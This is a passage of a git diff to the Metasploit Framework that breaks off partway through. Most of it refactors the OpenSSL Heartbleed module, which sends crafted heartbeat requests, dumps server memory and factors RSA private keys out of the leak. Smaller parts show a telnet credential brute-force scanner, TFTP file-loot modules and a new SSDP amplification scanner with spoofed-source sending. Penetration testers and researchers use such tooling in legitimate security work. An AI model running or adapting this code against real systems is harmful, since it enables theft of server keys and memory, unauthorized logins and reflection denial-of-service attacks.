Msf::Auxiliary res end - def run_host(ip) - case action.name - when 'SCAN' - loot_and_report(bleed) - when 'DUMP' - loot_and_report(bleed) # Scan & Dump are similar, scan() records results - when 'KEYS' - getkeys() - else - #Shouldn't get here, since Action is Enum - print_error("Unknown Action: #{action.name}") - return + # + # Helper Methods + # + + # Get data from the socket + # this ensures the requested length is read (if available) + def get_data(length = -1) + + return sock.get_once(-1, response_timeout) if length == -1 + + to_receive = length + data = '' + while to_receive > 0 + temp = sock.get_once(to_receive, response_timeout) + break if temp.nil? + + data << temp + to_receive -= temp.length end + data end + def to_hex_string(data) + data.each_byte.map { |b| sprintf('%02X ', b) }.join.strip + end + + # establishes a connect and parses the server response + def establish_connect + connect + + unless tls_callback == 'None' + vprint_status("#{peer} - Trying to start SSL via #{tls_callback}") + res = self.send(TLS_CALLBACKS[tls_callback]) + if res.nil? + vprint_error("#{peer} - STARTTLS failed...") + return nil + end + end + + vprint_status("#{peer} - Sending Client Hello...") + sock.put(client_hello) + + server_hello = sock.get_once(-1, response_timeout) + unless server_hello + vprint_error("#{peer} - No Server Hello after #{response_timeout} seconds...") + return nil + end + + server_resp_parsed = parse_ssl_record(server_hello) + + if server_resp_parsed.nil? + vprint_error("#{peer} - Server Hello Not Found") + return nil + end + + server_resp_parsed + end + + # Generates a heartbeat request + def heartbeat_request(length) + payload = "\x01" # Heartbeat Message Type: Request (1) + payload << [length].pack('n') # Payload Length: 65535 + + ssl_record(HEARTBEAT_RECORD_TYPE, payload) + end + + # Generates, sends and receives a heartbeat message def bleed - # This actually performs the heartbleed portion connect_result = establish_connect return if connect_result.nil? vprint_status("#{peer} - Sending Heartbeat...") - sock.put(heartbeat(heartbeat_length)) - hdr = sock.get_once(5, response_timeout) - if hdr.blank? + sock.put(heartbeat_request(heartbeat_length)) + hdr = get_data(5) + if hdr.nil? || hdr.empty? vprint_error("#{peer} - No Heartbeat response...") + disconnect return end @@ -338,33 +463,36 @@ class Metasploit3 < Msf::Auxiliary # try to get the TLS error if type == ALERT_RECORD_TYPE - res = sock.get_once(len, response_timeout) + res = get_data(len) alert_unp = res.unpack('CC') alert_level = alert_unp[0] alert_desc = alert_unp[1] - msg = "Unknown error" + # http://tools.ietf.org/html/rfc5246#section-7.2 case alert_desc when 0x46 - msg = "Protocol error. Looks like the chosen protocol is not supported." + msg = 'Protocol error. Looks like the chosen protocol is not supported.' + else + msg = 'Unknown error' end vprint_error("#{peer} - #{msg}") disconnect return end - unless type == HEARTBEAT_RECORD_TYPE && version == TLS_VERSION[datastore['TLS_VERSION']] - vprint_error("#{peer} - Unexpected Heartbeat response") + unless type == HEARTBEAT_RECORD_TYPE && version == TLS_VERSION[tls_version] + vprint_error("#{peer} - Unexpected Heartbeat response header (#{to_hex_string(hdr)})") disconnect return end - heartbeat_data = sock.get(heartbeat_length) # Read the magic length... + heartbeat_data = get_data(heartbeat_length) vprint_status("#{peer} - Heartbeat response, #{heartbeat_data.length} bytes") disconnect heartbeat_data end + # Stores received data def loot_and_report(heartbeat_data) unless heartbeat_data @@ -382,19 +510,19 @@ class Metasploit3 < Msf::Auxiliary }) if action.name == 'DUMP' # Check mode, dump if requested. - pattern = datastore['DUMPFILTER'] + pattern = dumpfilter if pattern match_data = heartbeat_data.scan(pattern).join else match_data = heartbeat_data end path = store_loot( - "openssl.heartbleed.server", - "application/octet-stream", + 'openssl.heartbleed.server', + 'application/octet-stream', rhost, match_data, nil, - "OpenSSL Heartbleed server memory" + 'OpenSSL Heartbleed server memory' ) print_status("#{peer} - Heartbeat data stored in #{path}") end @@ -403,12 +531,12 @@ class Metasploit3 < Msf::Auxiliary end - def getkeys() - unless datastore['TLS_CALLBACK'] == 'None' - print_error('TLS callbacks currently unsupported for keydumping action') #TODO - return - end + # + # Keydumoing helper methods + # + # Tries to retreive the private key + def getkeys print_status("#{peer} - Scanning for private keys") count = 0 @@ -423,13 +551,16 @@ class Metasploit3 < Msf::Auxiliary vprint_status("#{peer} - e: #{e}") print_status("#{peer} - #{Time.now.getutc} - Starting.") - datastore['MAX_KEYTRIES'].times { + max_keytries.times { # Loop up to MAX_KEYTRIES times, looking for keys - if count % datastore['STATUS_EVERY'] == 0 + if count % status_every == 0 print_status("#{peer} - #{Time.now.getutc} - Attempt #{count}...") end - p, q = get_factors(bleed, n) # Try to find factors in mem + bleedresult = bleed + return unless bleedresult + + p, q = get_factors(bleedresult, n) # Try to find factors in mem unless p.nil? || q.nil? key = key_from_pqe(p, q, e) @@ -437,75 +568,32 @@ class Metasploit3 < Msf::Auxiliary print_status(key.export) path = store_loot( - "openssl.heartbleed.server", - "text/plain", + 'openssl.heartbleed.server', + 'text/plain', rhost, key.export, nil, - "OpenSSL Heartbleed Private Key" + 'OpenSSL Heartbleed Private Key' ) print_status("#{peer} - Private key stored in #{path}") return end count += 1 } - print_error("#{peer} - Private key not found. You can try to increase MAX_KEYTRIES.") + print_error("#{peer} - Private key not found. You can try to increase MAX_KEYTRIES and/or HEARTBEAT_LENGTH.") end - def heartbeat(length) - payload = "\x01" # Heartbeat Message Type: Request (1) - payload << [length].pack("n") # Payload Length: 65535 - - ssl_record(HEARTBEAT_RECORD_TYPE, payload) - end - - def client_hello - # Use current day for TLS time - time_temp = Time.now - time_epoch = Time.mktime(time_temp.year, time_temp.month, time_temp.day, 0, 0).to_i - - hello_data = [TLS_VERSION[datastore['TLS_VERSION']]].pack("n") # Version TLS - hello_data << [time_epoch].pack("N") # Time in epoch format - hello_data << Rex::Text.rand_text(28) # Random - hello_data << "\x00" # Session ID length - hello_data << [CIPHER_SUITES.length * 2].pack("n") # Cipher Suites length (102) - hello_data << CIPHER_SUITES.pack("n*") # Cipher Suites - hello_data << "\x01" # Compression methods length (1) - hello_data << "\x00" # Compression methods: null - - hello_data_extensions = "\x00\x0f" # Extension type (Heartbeat) - hello_data_extensions << "\x00\x01" # Extension length - hello_data_extensions << "\x01" # Extension data - - hello_data << [hello_data_extensions.length].pack("n") - hello_data << hello_data_extensions - - data = "\x01\x00" # Handshake Type: Client Hello (1) - data << [hello_data.length].pack("n") # Length - data << hello_data - - ssl_record(HANDSHAKE_RECORD_TYPE, data) - end - - def ssl_record(type, data) - record = [type, TLS_VERSION[datastore['TLS_VERSION']], data.length].pack('Cnn') - record << data - end - - def get_ne() - # Fetch rhost's cert, return public key values - connect(true, {"SSL" => true}) #Force SSL - cert = OpenSSL::X509::Certificate.new(sock.peer_cert) - disconnect - - unless cert + # Returns the N and E params from the public server certificate + def get_ne + unless @cert print_error("#{peer} - No certificate found") return end - return cert.public_key.params["n"], cert.public_key.params["e"] + return @cert.public_key.params['n'], @cert.public_key.params['e'] end + # Tries to find pieces of the private key in the provided data def get_factors(data, n) # Walk through data looking for factors of n psize = n.num_bits / 8 / 2 @@ -523,40 +611,11 @@ class Metasploit3 < Msf::Auxiliary return p, q end end - } + } return nil, nil end - def establish_connect - connect - - unless datastore['TLS_CALLBACK'] == 'None' - vprint_status("#{peer} - Trying to start SSL via #{datastore['TLS_CALLBACK']}") - res = self.send(TLS_CALLBACKS[datastore['TLS_CALLBACK']]) - if res.nil? - vprint_error("#{peer} - STARTTLS failed...") - return nil - end - end - - vprint_status("#{peer} - Sending Client Hello...") - sock.put(client_hello) - - server_hello = sock.get(response_timeout) - unless server_hello - vprint_error("#{peer} - No Server Hello after #{response_timeout} seconds...") - disconnect - return nil - end - - unless server_hello.unpack("C").first == HANDSHAKE_RECORD_TYPE - vprint_error("#{peer} - Server Hello Not Found") - return nil - end - - true - end - + # Generates the private key from the P, Q and E values def key_from_pqe(p, q, e) # Returns an RSA Private Key from Factors key = OpenSSL::PKey::RSA.new() @@ -577,5 +636,170 @@ class Metasploit3 < Msf::Auxiliary return key end -end + # + # SSL/TLS packet methods + # + # Creates and returns a new SSL record with the provided data + def ssl_record(type, data) + record = [type, TLS_VERSION[tls_version], data.length].pack('Cnn') + record << data + end + + # generates a CLIENT_HELLO ssl/tls packet + def client_hello + # Use current day for TLS time + time_temp = Time.now + time_epoch = Time.mktime(time_temp.year, time_temp.month, time_temp.day, 0, 0).to_i + + hello_data = [TLS_VERSION[tls_version]].pack('n') # Version TLS + hello_data << [time_epoch].pack('N') # Time in epoch format + hello_data << Rex::Text.rand_text(28) # Random + hello_data << "\x00" # Session ID length + hello_data << [CIPHER_SUITES.length * 2].pack('n') # Cipher Suites length (102) + hello_data << CIPHER_SUITES.pack('n*') # Cipher Suites + hello_data << "\x01" # Compression methods length (1) + hello_data << "\x00" # Compression methods: null + + hello_data_extensions = "\x00\x0f" # Extension type (Heartbeat) + hello_data_extensions << "\x00\x01" # Extension length + hello_data_extensions << "\x01" # Extension data + + hello_data << [hello_data_extensions.length].pack('n') + hello_data << hello_data_extensions + + data = "\x01\x00" # Handshake Type: Client Hello (1) + data << [hello_data.length].pack('n') # Length + data << hello_data + + ssl_record(HANDSHAKE_RECORD_TYPE, data) + end + + # Parse SSL header + def parse_ssl_record(data) + ssl_records = [] + remaining_data = data + ssl_record_counter = 0 + while remaining_data && remaining_data.length > 0 + ssl_record_counter += 1 + ssl_unpacked = remaining_data.unpack('CH4n') + return nil if ssl_unpacked.nil? or ssl_unpacked.length < 3 + ssl_type = ssl_unpacked[0] + ssl_version = ssl_unpacked[1] + ssl_len = ssl_unpacked[2] + vprint_debug("SSL record ##{ssl_record_counter}:") + vprint_debug("\tType: #{ssl_type}") + vprint_debug("\tVersion: 0x#{ssl_version}") + vprint_debug("\tLength: #{ssl_len}") + if ssl_type != HANDSHAKE_RECORD_TYPE + vprint_debug("\tWrong Record Type! (#{ssl_type})") + else + ssl_data = remaining_data[5, ssl_len] + handshakes = parse_handshakes(ssl_data) + ssl_records << { + :type => ssl_type, + :version => ssl_version, + :length => ssl_len, + :data => handshakes + } + end + remaining_data = remaining_data[(ssl_len + 5)..-1] + end + + ssl_records + end + + # Parse Handshake data returned from servers + def parse_handshakes(data) + # Can contain multiple handshakes + remaining_data = data + handshakes = [] + handshake_count = 0 + while remaining_data && remaining_data.length > 0 + hs_unpacked = remaining_data.unpack('CCn') + next if hs_unpacked.nil? or hs_unpacked.length < 3 + hs_type = hs_unpacked[0] + hs_len_pad = hs_unpacked[1] + hs_len = hs_unpacked[2] + hs_data = remaining_data[4, hs_len] + handshake_count += 1 + vprint_debug("\tHandshake ##{handshake_count}:") + vprint_debug("\t\tLength: #{hs_len}") + + handshake_parsed = nil + case hs_type + when HANDSHAKE_SERVER_HELLO_TYPE + vprint_debug("\t\tType: Server Hello (#{hs_type})") + handshake_parsed = parse_server_hello(hs_data) + when HANDSHAKE_CERTIFICATE_TYPE + vprint_debug("\t\tType: Certificate Data (#{hs_type})") + handshake_parsed = parse_certificate_data(hs_data) + when HANDSHAKE_KEY_EXCHANGE_TYPE + vprint_debug("\t\tType: Server Key Exchange (#{hs_type})") + # handshake_parsed = parse_server_key_exchange(hs_data) + when HANDSHAKE_SERVER_HELLO_DONE_TYPE + vprint_debug("\t\tType: Server Hello Done (#{hs_type})") + else + vprint_debug("\t\tType: Handshake type #{hs_type} not implemented") + end + + handshakes << { + :type => hs_type, + :len => hs_len, + :data => handshake_parsed + } + remaining_data = remaining_data[(hs_len + 4)..-1] + end + + handshakes + end + + # Parse Server Hello message + def parse_server_hello(data) + version = data.unpack('H4')[0] + vprint_debug("\t\tServer Hello Version: 0x#{version}") + random = data[2,32].unpack('H*')[0] + vprint_debug("\t\tServer Hello random data: #{random}") + session_id_length = data[34,1].unpack('C')[0] + vprint_debug("\t\tServer Hello Session ID length: #{session_id_length}") + session_id = data[35,session_id_length].unpack('H*')[0] + vprint_debug("\t\tServer Hello Session ID: #{session_id}") + # TODO Read the rest of the server hello (respect message length) + + # TODO: return hash with data + true + end + + # Parse certificate data + def parse_certificate_data(data) + # get certificate data length + unpacked = data.unpack('Cn') + cert_len_padding = unpacked[0] + cert_len = unpacked[1] + vprint_debug("\t\tCertificates length: #{cert_len}") + # contains multiple certs + already_read = 3 + cert_counter = 0 + while already_read < cert_len + start = already_read + cert_counter += 1 + # get single certificate length + single_cert_unpacked = data[start, 3].unpack('Cn') + single_cert_len_padding = single_cert_unpacked[0] + single_cert_len = single_cert_unpacked[1] + vprint_debug("\t\tCertificate ##{cert_counter}:") + vprint_debug("\t\t\tCertificate ##{cert_counter}: Length: #{single_cert_len}") + certificate_data = data[(start + 3), single_cert_len] + cert = OpenSSL::X509::Certificate.new(certificate_data) + # First received certificate is the one from the server + @cert = cert if @cert.nil? + #vprint_debug("Got certificate: #{cert.to_text}") + vprint_debug("\t\t\tCertificate ##{cert_counter}: #{cert.inspect}") + already_read = already_read + single_cert_len + 3 + end + + # TODO: return hash with data + true + end + +end diff --git a/modules/auxiliary/scanner/telephony/wardial.rb b/modules/auxiliary/scanner/telephony/wardial.rb index fbfc654531..18cd6912cc 100644 --- a/modules/auxiliary/scanner/telephony/wardial.rb +++ b/modules/auxiliary/scanner/telephony/wardial.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/telnet/lantronix_telnet_password.rb b/modules/auxiliary/scanner/telnet/lantronix_telnet_password.rb index ecb9540cc8..627123561f 100644 --- a/modules/auxiliary/scanner/telnet/lantronix_telnet_password.rb +++ b/modules/auxiliary/scanner/telnet/lantronix_telnet_password.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/telnet/lantronix_telnet_version.rb b/modules/auxiliary/scanner/telnet/lantronix_telnet_version.rb index b7b0087315..b6af840661 100644 --- a/modules/auxiliary/scanner/telnet/lantronix_telnet_version.rb +++ b/modules/auxiliary/scanner/telnet/lantronix_telnet_version.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/telnet/telnet_encrypt_overflow.rb b/modules/auxiliary/scanner/telnet/telnet_encrypt_overflow.rb index 328a5694ef..b39ea216aa 100644 --- a/modules/auxiliary/scanner/telnet/telnet_encrypt_overflow.rb +++ b/modules/auxiliary/scanner/telnet/telnet_encrypt_overflow.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/telnet/telnet_login.rb b/modules/auxiliary/scanner/telnet/telnet_login.rb index 9a86ba1370..7f14dc0ee4 100644 --- a/modules/auxiliary/scanner/telnet/telnet_login.rb +++ b/modules/auxiliary/scanner/telnet/telnet_login.rb @@ -1,9 +1,11 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' +require 'metasploit/framework/credential_collection' +require 'metasploit/framework/login_scanner/telnet' class Metasploit3 < Msf::Auxiliary @@ -24,7 +26,7 @@ class Metasploit3 < Msf::Auxiliary logins and hosts so you can track your access. }, 'Author' => 'egypt', - 'References' => + 'References' => [ [ 'CVE', '1999-0502'] # Weak password ], @@ -33,7 +35,7 @@ class Metasploit3 < Msf::Auxiliary deregister_options('RHOST') register_advanced_options( [ - OptInt.new('TIMEOUT', [ true, 'Default timeout for telnet connections. The greatest value of TelnetTimeout, TelnetBannerTimeout, or this option will be used as an overall timeout.', 0]) + OptInt.new('TIMEOUT', [ true, 'Default timeout for telnet connections.', 25]) ], self.class ) @@ -44,190 +46,51 @@ class Metasploit3 < Msf::Auxiliary attr_accessor :password_only def run_host(ip) - overall_timeout ||= [ - datastore['TIMEOUT'].to_i, - datastore['TelnetBannerTimeout'].to_i, - datastore['TelnetTimeout'].to_i - ].max - - # Check for a password-only prompt for this machine. - self.password_only = [] - if connect_reset_safe == :connected - @strip_usernames = true if password_prompt? - self.sock.close - end - - begin - each_user_pass do |user, pass| - Timeout.timeout(overall_timeout) do - res = try_user_pass(user, pass) - start_telnet_session(rhost,rport,user,pass) if res == :next_user - end - end - rescue ::Rex::ConnectionError, ::EOFError, ::Timeout::Error - return - end - end - - def try_user_pass(user, pass) - vprint_status "#{rhost}:#{rport} Telnet - Attempting: '#{user}':'#{pass}'" - this_attempt ||= 0 - ret = nil - while this_attempt <=3 and (ret.nil? or ret == :refused) - if this_attempt > 0 - select(nil,nil,nil,2**this_attempt) - vprint_error "#{rhost}:#{rport} Telnet - Retrying '#{user}':'#{pass}' due to reset" - end - ret = do_login(user,pass) - this_attempt += 1 - end - case ret - when :no_auth_required - print_good "#{rhost}:#{rport} Telnet - No authentication required!" - report_telnet('','',@trace) - return :abort - when :no_pass_prompt - vprint_status "#{rhost}:#{rport} Telnet - Skipping '#{user}' due to missing password prompt" - return :skip_user - when :timeout - vprint_status "#{rhost}:#{rport} Telnet - Skipping '#{user}':'#{pass}' due to timeout" - when :busy - vprint_error "#{rhost}:#{rport} Telnet - Skipping '#{user}':'#{pass}' due to busy state" - when :refused - vprint_error "#{rhost}:#{rport} Telnet - Skipping '#{user}':'#{pass}' due to connection refused." - when :skip_user - vprint_status "#{rhost}:#{rport} Telnet - Skipping disallowed user '#{user}' for subsequent requests" - return :skip_user - when :success - unless user == user.downcase - case_ret = do_login(user.downcase,pass) - if case_ret == :success - user= user.downcase - print_status("Username #{user} is case insensitive") - end - end - report_telnet(user,pass,@trace) - return :next_user - end - end - - # Sometimes telnet servers start RSTing if you get them angry. - # This is a short term fix; the problem is that we don't know - # if it's going to reset forever, or just this time, or randomly. - # A better solution is to get the socket connect to try again - # with a little backoff. - def connect_reset_safe - begin - connect - rescue Rex::ConnectionRefused - return :refused - end - return :connected - end - - # Making this serial since the @attempts counting business is causing - # all kinds of syncing problems. - def do_login(user,pass) - - return :refused if connect_reset_safe == :refused - - begin - - vprint_status("#{rhost}:#{rport} Banner: #{@recvd.gsub(/[\r\n\e\b\a]/, ' ')}") - - if busy_message? - self.sock.close unless self.sock.closed? - return :busy - end - - if login_succeeded? - return :no_auth_required - end - - # Immediate password prompt... try our password! - if password_prompt? - user = '' - - if password_only.include?(pass) - print_status("#{rhost}:#{rport} - Telnet - skipping already tried password '#{pass}'") - return :tried - end - - print_status("#{rhost}:#{rport} - Telnet - trying password only authentication with password '#{pass}'") - password_only << pass - else - send_user(user) - end - - recvd_sample = @recvd.dup - # Allow for slow echos - 1.upto(10) do - recv_telnet(self.sock, 0.10) unless @recvd.nil? or @recvd[/#{@password_prompt}/] - end - - vprint_status("#{rhost}:#{rport} Prompt: #{@recvd.gsub(/[\r\n\e\b\a]/, ' ')}") - - if password_prompt?(user) - send_pass(pass) - - # Allow for slow echos - 1.upto(10) do - recv_telnet(self.sock, 0.10) if @recvd == recvd_sample - end - - - vprint_status("#{rhost}:#{rport} Result: #{@recvd.gsub(/[\r\n\e\b\a]/, ' ')}") - - if login_succeeded? - return :success - else - self.sock.close unless self.sock.closed? - if @recvd =~ /Not on system console/ # Solaris8, user is not allowed - return :skip_user - else - return :fail - end - end - else - if login_succeeded? && @recvd !~ /^#{user}\x0d*\x0a/ - report_telnet(user,pass,@trace) - return :no_pass_required - else - self.sock.close unless self.sock.closed? - return :no_pass_prompt - end - end - - rescue ::Interrupt - self.sock.close unless self.sock.closed? - raise $! - rescue ::Exception => e - if e.to_s == "execution expired" - self.sock.close unless self.sock.closed? - return :timeout - else - self.sock.close unless self.sock.closed? - print_error("#{rhost}:#{rport} Error: #{e.class} #{e} #{e.backtrace}") - end - end - - end - - def report_telnet(user, pass, proof) - print_good("#{rhost} - SUCCESSFUL LOGIN #{user} : #{pass}") - report_auth_info( - :host => rhost, - :port => datastore['RPORT'], - :sname => 'telnet', - :user => user, - :pass => pass, - :proof => proof, - :source_type => "user_supplied", - :active => true + cred_collection = Metasploit::Framework::CredentialCollection.new( + blank_passwords: datastore['BLANK_PASSWORDS'], + pass_file: datastore['PASS_FILE'], + password: datastore['PASSWORD'], + user_file: datastore['USER_FILE'], + userpass_file: datastore['USERPASS_FILE'], + username: datastore['USERNAME'], + user_as_pass: datastore['USER_AS_PASS'], ) + + cred_collection = prepend_db_passwords(cred_collection) + + scanner = Metasploit::Framework::LoginScanner::Telnet.new( + host: ip, + port: rport, + proxies: datastore['PROXIES'], + cred_details: cred_collection, + stop_on_success: datastore['STOP_ON_SUCCESS'], + connection_timeout: datastore['Timeout'], + max_send_size: datastore['TCP::max_send_size'], + send_delay: datastore['TCP::send_delay'], + banner_timeout: datastore['TelnetBannerTimeout'], + telnet_timeout: datastore['TelnetTimeout'] + ) + + scanner.scan! do |result| + credential_data = result.to_h + credential_data.merge!( + module_fullname: self.fullname, + workspace_id: myworkspace_id + ) + if result.success? + credential_core = create_credential(credential_data) + credential_data[:core] = credential_core + create_credential_login(credential_data) + print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential}" + start_telnet_session(ip,rport,result.credential.public,result.credential.private,scanner) + else + invalidate_login(credential_data) + vprint_error "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})" + end + end end - def start_telnet_session(host, port, user, pass) + def start_telnet_session(host, port, user, pass, scanner) print_status "Attempting to start session #{host}:#{port} with #{user}:#{pass}" merge_me = { 'USERPASS_FILE' => nil, @@ -237,7 +100,7 @@ class Metasploit3 < Msf::Auxiliary 'PASSWORD' => pass } - start_session(self, "TELNET #{user}:#{pass} (#{host}:#{port})", merge_me, true) + start_session(self, "TELNET #{user}:#{pass} (#{host}:#{port})", merge_me, true, scanner.sock) end end diff --git a/modules/auxiliary/scanner/telnet/telnet_ruggedcom.rb b/modules/auxiliary/scanner/telnet/telnet_ruggedcom.rb index ecab7ae11e..29eb4d13db 100644 --- a/modules/auxiliary/scanner/telnet/telnet_ruggedcom.rb +++ b/modules/auxiliary/scanner/telnet/telnet_ruggedcom.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/telnet/telnet_version.rb b/modules/auxiliary/scanner/telnet/telnet_version.rb index 8cd04297a0..644a178b89 100644 --- a/modules/auxiliary/scanner/telnet/telnet_version.rb +++ b/modules/auxiliary/scanner/telnet/telnet_version.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/tftp/ipswitch_whatsupgold_tftp.rb b/modules/auxiliary/scanner/tftp/ipswitch_whatsupgold_tftp.rb index adc48e48aa..a0312223b5 100644 --- a/modules/auxiliary/scanner/tftp/ipswitch_whatsupgold_tftp.rb +++ b/modules/auxiliary/scanner/tftp/ipswitch_whatsupgold_tftp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -37,7 +37,7 @@ class Metasploit3 < Msf::Auxiliary register_options( [ Opt::RPORT(69), - OptString.new('FILENAME', [false, 'The file to loot', 'boot.ini']), + OptString.new('FILENAME', [false, 'The file to loot', 'windows\\win.ini']), OptBool.new('SAVE', [false, 'Save the downloaded file to disk', 'false']) ], self.class) end diff --git a/modules/auxiliary/scanner/tftp/netdecision_tftp.rb b/modules/auxiliary/scanner/tftp/netdecision_tftp.rb index 7e49286315..fd8c131316 100644 --- a/modules/auxiliary/scanner/tftp/netdecision_tftp.rb +++ b/modules/auxiliary/scanner/tftp/netdecision_tftp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -36,7 +36,7 @@ class Metasploit3 < Msf::Auxiliary [ Opt::RPORT(69), OptInt.new('DEPTH', [false, "Levels to reach base directory",1]), - OptString.new('FILENAME', [false, 'The file to loot', 'boot.ini']), + OptString.new('FILENAME', [false, 'The file to loot', 'windows\\win.ini']), ], self.class) end diff --git a/modules/auxiliary/scanner/tftp/tftpbrute.rb b/modules/auxiliary/scanner/tftp/tftpbrute.rb index 3c19ff86c7..29935dc352 100644 --- a/modules/auxiliary/scanner/tftp/tftpbrute.rb +++ b/modules/auxiliary/scanner/tftp/tftpbrute.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -50,7 +50,7 @@ class Metasploit3 < Msf::Auxiliary filename.strip! pkt = "\x00\x01" + filename + "\x00" + "netascii" + "\x00" udp_sock.sendto(pkt, ip, datastore['RPORT']) - resp = udp_sock.get(1) + resp = udp_sock.get(3) if resp and resp.length >= 2 and resp[0, 2] == "\x00\x03" print_status("Found #{filename} on #{ip}") #Add Report diff --git a/modules/auxiliary/scanner/upnp/ssdp_amp.rb b/modules/auxiliary/scanner/upnp/ssdp_amp.rb new file mode 100644 index 0000000000..5d2217308d --- /dev/null +++ b/modules/auxiliary/scanner/upnp/ssdp_amp.rb @@ -0,0 +1,94 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + include Msf::Auxiliary::Report + include Msf::Exploit::Capture + include Msf::Auxiliary::UDPScanner + include Msf::Auxiliary::DRDoS + + def initialize + super( + 'Name' => 'SSDP ssdp:all M-SEARCH Amplification Scanner', + 'Description' => 'Discover SSDP amplification possibilities', + 'Author' => ['xistence <xistence[at]0x90.nl>'], # Original scanner module + 'License' => MSF_LICENSE, + 'References' => + [ + ['URL', 'https://www.us-cert.gov/ncas/alerts/TA14-017A'] + ], + ) + + register_options([ + Opt::RPORT(1900), + OptBool.new('SHORT', [ false, "Does a shorter request, for a higher amplifier, not compatible with all devices", false]) + ], self.class) + end + + def setup + super + # SSDP packet containing the "ST:ssdp:all" search query + if datastore['short'] + # Short packet doesn't contain Host, MX and last \r\n + @msearch_probe = "M-SEARCH * HTTP/1.1\r\nST: ssdp:all\r\nMan: \"ssdp:discover\"\r\n" + else + @msearch_probe = "M-SEARCH * HTTP/1.1\r\nHost: 239.255.255.250:1900\r\nST: ssdp:all\r\nMan: \"ssdp:discover\"\r\nMX: 1\r\n\r\n" + end + end + + def scanner_prescan(batch) + print_status("Sending SSDP ssdp:all M-SEARCH probes to #{batch[0]}->#{batch[-1]} (#{batch.length} hosts)") + @results = {} + end + + def scan_host(ip) + if spoofed? + datastore['ScannerRecvWindow'] = 0 + scanner_spoof_send(@msearch_probe, ip, datastore['RPORT'], datastore['SRCIP'], datastore['NUM_REQUESTS']) + else + scanner_send(@msearch_probe, ip, datastore['RPORT']) + end + end + + def scanner_process(data, shost, sport) + if data =~ /HTTP\/\d\.\d 200/ + @results[shost] ||= [] + @results[shost] << data + else + vprint_error("Skipping #{data.size}-byte non-SSDP response from #{shost}:#{sport}") + end + end + + # Called after the scan block + def scanner_postscan(batch) + @results.keys.each do |k| + response_map = { @msearch_probe => @results[k] } + report_service( + host: k, + proto: 'udp', + port: datastore['RPORT'], + name: 'ssdp' + ) + + peer = "#{k}:#{datastore['RPORT']}" + vulnerable, proof = prove_amplification(response_map) + what = 'SSDP ssdp:all M-SEARCH amplification' + if vulnerable + print_good("#{peer} - Vulnerable to #{what}: #{proof}") + report_vuln( + host: k, + port: datastore['RPORT'], + proto: 'udp', + name: what, + refs: self.references + ) + else + vprint_status("#{peer} - Not vulnerable to #{what}: #{proof}") + end + end + end +end diff --git a/modules/auxiliary/scanner/upnp/ssdp_msearch.rb b/modules/auxiliary/scanner/upnp/ssdp_msearch.rb index a84bd3e6b3..0f7496a036 100644 --- a/modules/auxiliary/scanner/upnp/ssdp_msearch.rb +++ b/modules/auxiliary/scanner/upnp/ssdp_msearch.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/vmware/esx_fingerprint.rb b/modules/auxiliary/scanner/vmware/esx_fingerprint.rb index 1aa553b135..697ae06989 100644 --- a/modules/auxiliary/scanner/vmware/esx_fingerprint.rb +++ b/modules/auxiliary/scanner/vmware/esx_fingerprint.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -75,13 +75,20 @@ class Metasploit3 < Msf::Auxiliary build_match = res.body.match(/<build>([\w\s\.\-]+)<\/build>/) full_match = res.body.match(/<fullName>([\w\s\.\-]+)<\/fullName>/) this_host = nil + if full_match - print_good "Identified #{full_match[1]}" + print_good("#{rhost}:#{rport} - Identified #{full_match[1]}") report_service(:host => (this_host || ip), :port => rport, :proto => 'tcp', :name => 'https', :info => full_match[1]) end + if os_match and ver_match and build_match if os_match[1] =~ /ESX/ or os_match[1] =~ /vCenter/ - this_host = report_host( :host => ip, :os_name => os_match[1], :os_flavor => ver_match[1], :os_sp => "Build #{build_match[1]}" ) + # Report a fingerprint match for OS identification + report_note( + :host => ip, + :ntype => 'fingerprint.match', + :data => {'os.vendor' => 'VMware', 'os.product' => os_match[1] + " " + ver_match[1], 'os.version' => build_match[1] } + ) end return true else diff --git a/modules/auxiliary/scanner/vmware/vmauthd_login.rb b/modules/auxiliary/scanner/vmware/vmauthd_login.rb index be29c48519..418e0b808c 